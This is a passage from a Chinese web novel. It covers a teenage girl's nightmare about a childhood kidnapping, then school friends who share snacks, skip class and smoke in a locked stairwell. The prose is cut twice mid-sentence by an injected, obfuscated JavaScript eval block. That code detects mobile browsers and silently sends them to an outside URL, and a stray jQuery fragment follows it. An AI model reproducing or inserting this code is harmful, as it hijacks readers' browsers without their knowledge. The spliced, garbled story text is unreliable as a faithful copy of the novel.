我绝不会……绝不会退缩的。 终于,这个年仅十岁的孩子下定了某种刚烈的决心,当即猛烈地一头往那尖锐的小刀刀锋上撞过去! ——形势如此糟糕,她已经不想拖累自己的至亲了。 “哇!” 要不是那持刀的头目和负责看押宁执玉的另一人在同一瞬间做出了最正确的应对反应,一前一后拉拽,刚好将她和沾血的刀锋分开,她大概会真的被那把刀给当场切开脖子。 几秒后,利仔开口了,他的声音都有点不易察觉的发抖:“大哥,这孩子在找死!” 那戴金链的头目也心有余悸,反应过来后气得将她一把推倒在地,破口大骂道:“臭小鬼!你想死也别拖老子下水——” 趴在地上的宁执玉再也无法忍耐地大哭起来,滚烫的眼泪和脸上伤痕的鲜血混杂在一起,与地上残留的泥水一并涌进她的唇齿间。 头很痛,脸上的刀口像是被火焰灼烧,但她还是对着尚未挂断的视频电话那端大喊了最后一句话。 “妈妈!”这个孩子声嘶力竭地哭喊着说,“跑啊!别管我!!” ………… …… “老宁!宁执玉!嘿,你醒醒!!” 某个耳熟的声音从遥远的梦境那端传来,宁执玉猛地睁开眼睛,她涣散的瞳孔视线花了足足七八秒才完成重新对焦,终于看见了熟悉而压抑的杂物间低矮天花板和趴在旁边满脸惊慌的赵颖。 睡到半夜被身边友人做噩梦的动静给活活吵醒的赵颖正披散着亚麻色头发,满脸疑惑和担忧,她的一只手还抓着宁执玉的肩膀——正是她先前把人强行给摇晃醒过来。 见到宁执玉终于清醒过来,将一双茫然而空洞的视线投射过来,老赵讪讪然地松开手,坐起身:“你好像做了噩梦……在冒汗。” 宁执玉的手有点哆嗦地往脸上一摸,发现分不清这满脸的水到底是冷汗还是眼泪,六年前那起绑架事件所留下的刀疤伤痕在这深夜之时依旧隐隐作痛。 但她还是格外歉意地看向盘腿坐在一旁的朋友:“对不起。吓到你了吗?” 赵颖尴尬地笑了一下,说着不知道真假的台词:“没有没有!赵子璇有时候看了恐怖片后,做起噩梦来哭喊得比你还惨。” 宁执玉再次呆了呆,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088490|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得有点迷迷糊糊的:“我喊了?” “啊,没有……反正我没听到。”赵颖也愣了几秒,她终于可以确认这家伙是真的在噩梦里被吓得不轻,往日里迅捷的学霸思维反应居然如此缓慢笨拙,当即再次关切道,“那个,你没事吧?梦到什么了?” 宁执玉一时间没有急着回答,只是缓缓坐起身,用已经湿透的睡衣袖子擦了擦脸上的水,方才答道:“确实是个噩梦——梦见我流离失所地去睡天桥,然后被陈水的冬天给冻死了。” 赵颖顿时无语至极:“喂!” 咱们这个睡天桥的话题就是过不去了是吧? 不过她被老宁这么一逗,也意识到对方其实不想多谈噩梦的具体情况,便很体贴地没再追问什么。 “对不起啊,老赵。”宁执玉有点颓丧地用双手捂着自己的脸,口中再次道歉,却没有看她的眼睛,“我平时很少做噩梦的……” “都说了没关系!我也只是刚好醒过来才发现的。”赵颖安抚性地摸了摸朋友的后背,发现对方的睡衣都湿透了,“宁执玉你快去换身衣服吧,小心等会冻得感冒。” 老宁闷闷地“嗯”了一声,掀开被子翻身下床去找备用的衣物。 很快,窸窸窣窣的脱衣服声音从昏暗的床尾传来,赵颖下意识地看了一眼,只看见若隐若现的肩胛骨轮廓和雪白的皮肤肤色……她赶忙闭上了眼睛。 如果大家此时在商店的更衣室里试衣服,大大方方地互相看对方身体也没什么。但这样深更半夜里,偷偷摸摸地看受到惊吓的朋友是如何脱衣服——赵颖感觉这事儿好像哪里怪怪的,还是别乱看会比较礼貌。 很快,换好衣服出去洗了个脸的宁执玉又摸黑走回来,爬上床,她小声地问赵颖睡着没有。 赵颖:“没有。” 宁执玉:“那我继续睡了。” 赵颖:“……好吧。晚安。” “晚安,你也快睡吧。”老宁说着还隔着被子轻柔地拍拍她的肩头,以示鼓励之情。 不得不说,赵颖略感失望。 亏她强打精神,做好听八卦的心理准备,还以为老宁有什么噩梦心事要跟自己聊聊呢。 结果人家再次入睡的速度比自己还快,简直是沾上枕头就昏迷的程度。 赵颖这么默默地想着,索性背过身去,面对冰冷的墙壁,她听见自己身后传来绵长平静的呼吸声,她的脑子里却回荡着宁执玉先前将自身吵醒的那一声惊呼。 那一刻,宁执玉嘴里喊得分明是…… “妈妈,救救我!妈妈——” ——这背后到底是个怎样的家庭故事呢? 有点好奇的赵颖不动声色地暗自猜测,正因为她与自己的生母关系也非常扑朔迷离,自然而然地会对周围之人的母女关系加以观察和思考。 这么疑惑地想着,她也很快重新睡着了。 7.但求同年 时间不知不觉就过去了三天,在下个周一的时候,前往湖南参加长辈葬礼的周喜回来了。 周喜是个脸颊总是红扑扑的可爱女孩子,值得一提的是她还是个恋爱脑——其他三个朋友这些年的桃花运数量全部加起来都没有她一人的零头多。 一大早,宁执玉走进教室时,正好看见周喜在跟班长黄思源闲聊吹水,大谈湖南见闻,她便特意过去打了声招呼。 “嘿!老宁快来,我给你们几个都带了点湖南特产!”周喜美滋滋地招呼她过去。 宁执玉乖巧地探头并低声询问:“白沙?” “白沙”是一款香烟的名字,主产地在湖南长沙。 周喜睁大眼睛瞪着这货,先是下意识地看了一眼黄思源,发现这个好好先生般的男生装出一副“我啥都没听见”的架势后才骂这个语出惊人的老宁:“这是光天化日之下能说的事情吗!” 哪怕挨骂,宁执玉也是一脸淡然,好像那话不是从她嘴里蹦出来似的。 很快周喜从课桌抽屉底下摸出了几小包不同口味的麻辣小鱼干塞给她:“你尝尝,喜欢的话再来我这儿拿。我那边的亲戚给我们这些小孩每人都买了一大袋的本地零食……” “太好了。”宁执玉虽然是个吃不太惯辣的广东人,但有朋友的零食投喂,她也是很高兴的,“有这几包小鱼干配饭,我又可以多活两天了。” 听闻此言,周喜一把捂住自己的额头:“宁执玉你别把自己说得那么惨啊……我走的这一周里,两位亲爱的饲养员没有好好地投喂你吗?” 宁执玉歪着头思考了几秒,顺手撕开一包小鱼干的包装袋开始嚼嚼嚼:“有啊,但她们在周四那天一拍脑门地私奔了——这不今天才回来嘛。刚才我在楼下,看到她们在老师办公室门口排着队进去挨训。” “我去!”周喜先是大惊失色,紧接着变成怒不可遏的样子,“老王和老赵私奔也不带我俩?我们就这样被无情地弃养了?亏我还大老远地给她们也带了小鱼干,没良心的!” “就是,要狠狠谴责。”宁执玉唯恐天下不乱,补充了两句。 又过了十来分钟后,赵颖和王艺菡跟没事人似的从教室外走进来。 更准确一点来说,是老王一副仿佛翘课之事与她无关,依旧兴高采烈的模样。而赵颖因为前几天脸上被亲爹揍的痕迹尚未完全消肿,外加刚刚被班主任贺老师一通“话疗”教育,现在多少还有点萎靡不振。 她们见到数日不见的周喜后也很高兴,靠过来叽叽喳喳地讲话,无形中把黄思源给挤到一旁。 坐在一旁的空椅子上,宁执玉特意盯着赵颖的左脸颊多看了几秒,确认伤势没有恶化并且的确是明显减轻后方才随手拿起一包没有开封的小鱼干扔过去:“好点没?” ——宁执玉特意没有说得很明确是“脸上的伤”,只是含含糊糊地关心着,因为这个年纪的女孩子们之间多少还是很重视颜面问题的。 “嗯?……哦哦!你说那个呀。”赵颖手忙脚乱地接过这包飞来的零食,冲宁执玉友善地笑笑,“好很多,我自己都快忘了这事儿。” “那就好。” “这鱼干辣不辣?”老赵又问她。 宁执玉扫了一眼鱼干包装的颜色:“问得好!但是泡椒口味的我还没吃……你问周喜,她带来的。具体我也不知道有多辣。” 一听是不知道程度的辣鱼干,这玩意儿捧在手里就跟烫手山芋差不多,赵颖明显兴致缺缺起来,把零食揣进兜里:“那我晚点问清楚后再吃。” “哦,随便你。” 宁执玉也懒得管朋友这种小事,自顾自地回自己的座位开始看错题集。 还是学习比较重要。 不过不知道是不是错觉,宁执玉隐约间感觉好像有谁在瞪着自己……她抬起头循着直觉的方向抽空看了一下,却发现是一位印象里关系不是很熟的初中同学,陆婷。 陆婷是个留着短发的瘦弱女生,个头不算高,戴着一副略显沉闷的黑色粗框眼镜,修剪不善的长刘海多少有点遮住眼睛——以至于显得格外阴郁和自卑。所以哪怕两人是初中同班同学乃至于到了如今的高二阶段,宁执玉对这人的印象也就停留在“认个脸熟”的程度而已。 见宁执玉毫无征兆地突然抬头与自己对视,陆婷似乎受到了惊吓,浑身一颤,连忙转过头去,不再看她。 宁执玉:? 奇怪的同学……她在内心随意嘀咕,再次集中精神看手上的错题集。很快就把这件小事抛之脑后。 不过站在教室过道上的赵颖很快想起另外一件事,扭头跟班长黄思源传达了贺亚红老师的最新指示。 “消防火灾演习?”黄思源傻眼道,“还要占据等会大课间的时间?我怎么没听到什么风声。” “快点通知大家吧,班长,等你听到风声都一会儿上课了。”赵颖懒洋洋地走回自己的位置坐下,开始玩折纸。 黄思源确定赵颖没有开玩笑后就上台宣布此事。果不其然,一听到大课间的时间被占用,同学们纷纷发出哀痛的鬼哭狼嚎。 低头开始修改错题集的宁执玉对周围嘈杂的环境充耳不闻,显然某些学霸已经进入了独有的精神领域中。 很快,这一节课的数学老师走了进来,用教案毫不留情地把一屁股坐在教师讲台上的王艺菡赶下去:“该上课了!都给我回去!” 哪怕老王平时是个很嚣张的人,但对于老师,她还是比较尊敬的,只好一边瘪着嘴一边乖乖滚回自己的位置。 数学课对于宁执玉而言是可以分心的课程,她经常会在数学课做其他科目的笔记或者习题,时不时抽空听一下老师的讲解——这对她来说就足够了。 不同于学渣们宛若听天书那样“阿巴阿巴”的表现,宁执玉经常会产生一种“啊?这道题的解题思路不是看一眼就能浮现出来吗”的微妙疑惑。但她很明智地将这份疑问压在心底,不会随意表现出来。 正如某位科研大佬的发言:人再笨还能学不会微积分吗.jpg 数学老师当然也知道宁执玉的课堂小动作,毕竟站在那个讲台上,底下学生们在干啥其实都尽收眼底……但哪怕她在今年的考试中退步幅度明显,可是最近一次大考的排名都维持在全年级前三十以内,他也就睁一只眼闭一只眼地当作没看到。 而且宁执玉成绩退步的学科也不是数学——这对数学老师来说就够了! 等到数学课结束,下课后,王艺菡就迫不及待地闪现到几个朋友面前,表情神神秘秘的:“要不要去那个一下?” 放下小青蛙造型的折纸,赵颖嘴角翘起:“走。” “等等,等我拿个手机!”周喜慌不迭地站起来,顺手在还忙着在单词本上写东西的宁执玉肩膀上不轻不重地捏了一把,“走了,老宁。” “啊?我也要去吗?”宁执玉不是很情愿出去玩。 双手插兜朝门外走去的王艺菡骤然停下脚步,惊奇地看着她:“宁执玉!你还是不是我们的一份子了?” 老宁面无表情:“不是,我申请退出组织。” “申请驳回!退出无效!”霸道老王不由分说地拉起她的手臂,“走啦走啦,别沉迷学习了……” 宁执玉重重地叹了口气,却还是任由自己被过分热情的小伙伴一把薅走。当然,没有忘带她心爱的单词本。 所谓的“那个”其实就是去“秘密基地”抽烟。 秘密基地位于五楼的楼梯间,学校为了防止有想不开的同学突然以高速自行接近地面的行为,索性在四楼装了个防盗门,日常上锁,只有偶尔需要拿教具和桌椅时才会打开门上去。 不过王艺菡先前就将钥匙从老师办公室里偷出来,给每个人都配了一把同款备用钥匙,自此五楼楼梯间就成了几个人的秘密基地。 对于这事儿,宁执玉的评价是——老王你酷毙了! 这回王艺菡来到秘密基地后率先挑了个台阶坐下,摸出烟盒,给大家散烟,并笑嘻嘻地询问周喜这次回去为什么没带点湖南特色的当地香烟回来。 周喜没好气地回答:“刚才老宁也问这话来着……我妈全程盯着呢,我哪里有空去买当地的‘特产’?” 赵颖随意评价:“那很遗憾了。” 虽然她的语气也听不出有多遗憾。 坐在王艺菡另一侧的宁执玉正盯着手里的自制单词本,她一边略微蹙眉地抽烟,一边专注地记单词。 她平时的抽烟频率和次数虽然没有小伙伴们那么多,但那纯粹是因为……贫穷的高中学生不想把钱花在这方面。 ——就连“朝天门”这种最便宜的都要5块一盒呢! 但倘若有朋友请客来一根的话,宁执玉也不介意的。 吞云吐雾间,有只手突然伸过来,一把抽走了小本子。 “干嘛?”宁执玉的目光顺着本子跟过去,最后落在王艺菡那张大大的笑脸上,当即哭笑不得地问,“你们聊你们的呗,我又不是没在听。” “出来抽烟还在学习?别卷了!我问你,大家还是不是朋友?”手持小本子的王艺菡收起笑容,装作很凶的样子问她,一副要挟人质(单词本)的模样。 宁执玉不解:“那必须啊。” 老王的语气变得危险起来:“哦?那刚刚我们在说什么话题?” 其他两人都饶有兴趣地将目光投过来,宁执玉知道没法蒙混过关了,只好老老实实地说:“老赵今早被一个静灵庭的死神搭讪了,老周在葬礼上认识了一个帅气的表哥,毫无压力地决定脚踩两条……” “停停停!什么叫‘静灵庭的死神’,那人原来是黑崎一护啊?”赵颖自己都惊了。 周喜也辩解着什么“网上的男朋友和现实的男朋友怎么能一样”之类的渣女言论。但没人信她。 宁执玉很无辜地吸了口烟,方才说道:“王艺菡说那个魔术社的神经病夸赞你的‘灵压很高’……下一步你是不是该修炼斩魄刀了?” 赵颖一把捂住脸,无语得要命,但还是忍不住配合这帮二次元,开始胡说八道:“是啊,其实我不准备高考了,我要去学会卍解。” 一时间王艺菡又开始畅想美好未来:“太好了,老赵!以后你当上死神十三番的队长后可别忘了我们这些老朋友哦。” “滚滚滚!还队长呢。一群沙雕。” 赵颖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091292|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭笑不得地挥着手,像是想让楼梯间空气里的弱智指数稍微下降一点。但可能没什么效果。 周喜的目光从腿上的手机挪开,看向宁执玉,满脸惊讶:“不过姐妹你居然还真的会竖着耳朵听我们聊天啊……” 宁执玉得意地竖起大拇指给自己点了个赞:“一心二用可是我的看家本领!” “行,知道你有在一边学习一边抽烟的过程中分心关注我们啦,太棒了,搞得我们好感动呢。”王艺菡笑着说了一些阴阳怪气的嘲讽话语,手上却还是主动把小本子还给她。 见这人这么搞怪,宁执玉的逗人老毛病又犯了,决定逗逗老王。 于是她没有伸手去接单词本,而是故作严肃地说:“我已经记住这个本子上的单词了,你们可以随便抽查来考我。” “OMG!这个学霸只是两天没见就变得这么嚣张吗?” 王艺菡愤愤不平地掀开小本子,翻到第一页,旁边的两人凑过头来一起看着上面清修秀迹的单词,大家一起出谋划策。随后老王兴致勃勃地说:“那先来个简单的,第一页的第一个单词,是什么?” 宁执玉双手抱胸,很自信:“abandon,放弃,丢弃。” “答对了。”王艺菡点点头,然后看向身旁的朋友们:“你们也来刁难一下?” “那必须的。”赵颖也伸手翻了几页,旋即开口,“老宁,第三页的第二个词是?” “abandon,放弃,丢弃。” 三个考官变成了黑人问号脸:? 周喜不死心,又赶忙翻多几页,提问起来…… “还是abandon。”宁执玉忍着笑意一本正经地说道。 “宁执玉你根本就没有倒背如流!你只是单纯在玩弄我们而已!”王艺菡无语地吐槽着,把单词本丢回去。 宁执玉一把接过飞过来的小本子,语气认真解释道:“我说了是‘记住单词’,哪怕只记住了一个都算是‘记住’,我可没说‘倒背如流’啊。” 其余三个人对视了一眼,纷纷看出对方眼里的鄙夷之情。 周喜摇着头重新开始玩手机聊天:“这人玩文字游戏,太坏了。有这功夫我还是继续跟表哥聊天吧。” 王艺菡也趁机谴责:“就是!道德败坏啊你!” 赵颖默默地笑着围观这一幕。 宁执玉抬手将烧了大半截的香烟慢吞吞地吸了一口,脸上露出某种似笑非笑的招牌表情:“没有的事,别乱讲。” “噫……”几个人发出了异口同声的鄙夷声。 接下来大家又随便闲聊了一会儿,主要集中在讨论王艺菡和赵颖上周的翘课行为和后续的一系列事情。 起初周喜听到赵颖回家被老爸打了以后发自内心地替她难过起来,不过很快她听到老赵居然能在宁执玉那个杂物间里住了一晚后立刻表示这事儿不公平!为了这份姐妹情谊,她也得住上一回才行! 一旁的王艺菡听得也连连点头,像是一只快乐小狗,准备去好朋友的房间里肆意拆家一番…… 不是,你们两位住家条件很好的大小姐凑什么热闹啊。 懒得搭理她们的宁执玉这回选择装聋作哑地继续看单词本。 眼看左手食指夹着的那根烟也快烧到最后了,她便略显生疏地将烟头在大理石地板上用力摁了一下,掐灭火光,打算等会儿拿到厕所里冲水扔了。 结果没灭,她疑惑地盯着烟头好几秒,还好赵颖注意到了这点,便主动开口提醒老宁该怎么正确地熄灭烟头。 “哦哦哦!我想起来了。”宁执玉试图用笑容缓解尴尬,“主要是太久没抽,手生。” “没事儿。”赵颖颇为理解地看着她,顺手从口袋里摸出剩下半盒烟,“再来一根?这次抽我的。” 宁执玉正打算婉拒,谁知这个时候,楼梯下方忽然传来第五个人上楼梯的脚步声! 大家顿时吓得炸毛,纷纷以各种行动试图掩盖吸烟行为,就连宁执玉的第一反应也是吓得连忙赶紧先把地上的烟头藏起来。 本以为来人是老师,结果来的是陆婷——那个没什么存在感的瘦小女生。 双方气氛古怪地对视了一眼,正想说点什么缓和氛围,结果那人又如瓜田里的猹般灵活地转身逃跑了,一句话都没说。 剩下的几个人:“……?” 宁执玉目光呆滞地开口:“陆婷不会告诉老师吧?” “难说。我有种不好的预感……”周喜也跟着叹气。 赵颖低声问:“刚才谁最后进来的,没锁门吗?” “我……我忘了。”王艺菡露出了无辜的狗狗眼,试图以此洗脱罪状。 可惜这一招对熟悉她的朋友们毫无用处,周喜更是气得直骂:“你是猪啊!” 王艺菡自知理亏,不敢辩解。 见此状况,宁执玉忽然格外沉重地再次叹了口气,感叹着自己即将如流水般逝去的好学生形象:“其实我突然发现跟你们三个也不是很熟,各位,我先走一步——” “你不许走!给我回来!大家要死一起死!!” 好朋友们七手八脚地把装作要跑路的宁执玉摁回原位。